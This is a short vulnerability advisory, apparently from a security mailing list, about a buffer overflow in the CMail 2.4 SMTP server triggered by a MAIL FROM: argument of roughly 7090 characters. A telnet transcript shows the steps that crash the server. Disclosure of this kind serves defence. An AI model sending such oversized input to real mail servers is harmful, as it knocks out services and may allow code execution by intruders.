Problem:

We found a buffer overflow in the CMail SMTP service (long MAIL FROM:) that may

allow an attacker to execute arbitrary code on the target server, it is based on the eEye

pointed out overflows in cmail 2.3 >:-] Which was never fixed... software vendors still

not taking security issues seriously.

Example:

[cham@guilt cham]$ telnet example.com 25

Trying example.com...

Connected to example.com.

Escape character is '^]'.

220 SMTP services ready. Computalynx CMail Server Version: 2.4

helo ussr

250 Hello ussr [yourip], how are you today?

MAIL FROM: cmail <[buffer]@cmaildotcom.com>

Where [buffer] is aprox. 7090 characters.

At his point the server overflows and crashes. Just a typical buffer overflow that should

have been fixed in version 2.3 when it was pointed out to them.

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